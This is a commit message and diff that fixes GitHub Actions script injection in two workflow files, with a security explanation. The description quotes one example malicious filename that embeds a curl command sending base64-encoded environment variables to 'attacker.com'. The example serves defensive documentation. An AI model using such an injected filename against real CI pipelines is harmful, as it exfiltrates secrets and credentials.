fix(terraform): prevent script injection via env var isolation (#2679)

## Summary
Audit of `.github/workflows/` identified two files where GitHub Actions
expressions (`${{ }}`) are interpolated directly into bash `run:`
scripts. This is the script injection class documented by [GitHub
Security
Lab](https://securitylab.github.com/research/github-actions-untrusted-input/).

This PR applies the recommended mitigation across all affected steps:
pass expression values through `env:` block variables instead of inline
interpolation. When assigned via `env:`, the value is treated as a plain
string by the shell — metacharacters are never evaluated as commands.

---

## Files Changed
### 1. `.github/workflows/terraform.yml` — **Critical** (3 fixes)

**Fix 1 - Env var isolation for `tj-actions/changed-files` outputs**

The `Extract Orgs` step interpolated action outputs directly into bash:

```yaml
# BEFORE (vulnerable):
run: |
  CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"
  DELETED="${{ steps.changed-files.outputs.deleted_files }}"
tj-actions/changed-files outputs filenames from the PR branch — fully attacker-controlled. A filename like: buildkite/terraform/bazel/$(curl https://attacker.com/exfil?d=$(env|base64)) would be evaluated as a shell command by bash.

# AFTER (safe):
env:
  ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
  ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}
run: |
  CHANGED="$ALL_CHANGED_FILES"
  DELETED="$ALL_DELETED_FILES"

Fix 2 - Scope id-token: write to terraform job only
id-token: write was set at workflow level, making OIDC tokens available to all jobs including detect-changes which processes untrusted filenames. Moved to job-level permissions on terraform only.
# BEFORE: id-token: write at workflow level → detect-changes also gets OIDC
permissions:
  contents: read
  id-token: write
  pull-requests: write

# AFTER: workflow-level has minimum permissions
permissions:
  contents: read
  pull-requests: write

terraform:
  permissions:
    contents: read
    id-token: write  # ← only this job needs GCP WIF

2. .github/workflows/release-rules.yml — Low (2 fixes)
Two inline ${{ }} expressions in run: blocks replaced with env vars:
- ${{ env.RULES_VERSION }} in the version echo step
- ${{ needs.create-release.outputs.rules_version }} in the staging dir name

References
- https://securitylab.github.com/research/github-actions-untrusted-input/
- go/github-security

Co-authored-by: Salma Samy <16399431+SalmaSamy@users.noreply.github.com>
diff --git a/.github/workflows/release-rules.yml b/.github/workflows/release-rules.yml
index 17cab41..49e278a 100644
--- a/.github/workflows/release-rules.yml
+++ b/.github/workflows/release-rules.yml
@@ -16,7 +16,7 @@
         if: env.RULES_VERSION == ''
         run: |
           echo "RULES_VERSION=${GITHUB_REF#refs/tags/}" >> $GITHUB_ENV
-          echo "version is: ${{ env.RULES_VERSION }}"
+          echo "version is: ${GITHUB_REF#refs/tags/}"
       - name: Create GitHub release
         id: release
         uses: actions/create-release@v1
@@ -37,8 +37,12 @@
         fetch-depth: 1
     - name: Build release asset
       shell: bash
+      env:
+        # go/github-security: Pass job outputs via env vars, not inline ${{ }},
+        # to prevent shell metacharacter evaluation (script injection).
+        RULES_VER: ${{ needs.create-release.outputs.rules_version }}
       run: |
-        staging="bazel_ci_${{ needs.create-release.outputs.rules_version }}"
+        staging="bazel_ci_${RULES_VER}"
         cp -r rules "$staging"
         tar czf "$staging.tar.gz" "$staging"
         echo "ASSET=$staging.tar.gz" >> $GITHUB_ENV
diff --git a/.github/workflows/terraform.yml b/.github/workflows/terraform.yml
index 18d9676..febe9a0 100644
--- a/.github/workflows/terraform.yml
+++ b/.github/workflows/terraform.yml
@@ -10,7 +10,6 @@
 # go/github-security: Explicitly set minimum permissions
 permissions:
   contents: read      # Required to check out the code
-  id-token: write      # Required for Workload Identity Federation (WIF)
   pull-requests: write # Required to post plan output as a comment
 
 jobs:
@@ -34,9 +33,14 @@
     - name: Extract Orgs
       id: process-orgs
       shell: bash
+      env:
+        # go/github-security: Pass action outputs via env vars, not inline ${{ }},
+        # to prevent shell metacharacter evaluation (script injection).
+        ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
+        ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}
       run: |
-        CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"
-        DELETED="${{ steps.changed-files.outputs.deleted_files }}"
+        CHANGED="$ALL_CHANGED_FILES"
+        DELETED="$ALL_DELETED_FILES"
         
         if [ -z "$CHANGED" ] && [ -z "$DELETED" ]; then
           ORGS="[]"
@@ -54,9 +58,14 @@
   # Job 2: Terraform Execution
   terraform:
     needs: detect-changes
-    # Run only if we have changed orgs AND (it's a push to master OR PR from trusted users)
     if: needs.detect-changes.outputs.orgs != '[]'
     runs-on: ubuntu-latest
+    # go/github-security: Scope id-token to this job only. The detect-changes job
+    # processes untrusted PR filenames; confining OIDC token access here prevents
+    # credential exfiltration via script injection in that job.
+    permissions:
+      contents: read
+      id-token: write
 
     # Lock per organization. Cancels old runs on PRs (saves time), but queues pushes (safe apply).
     concurrency: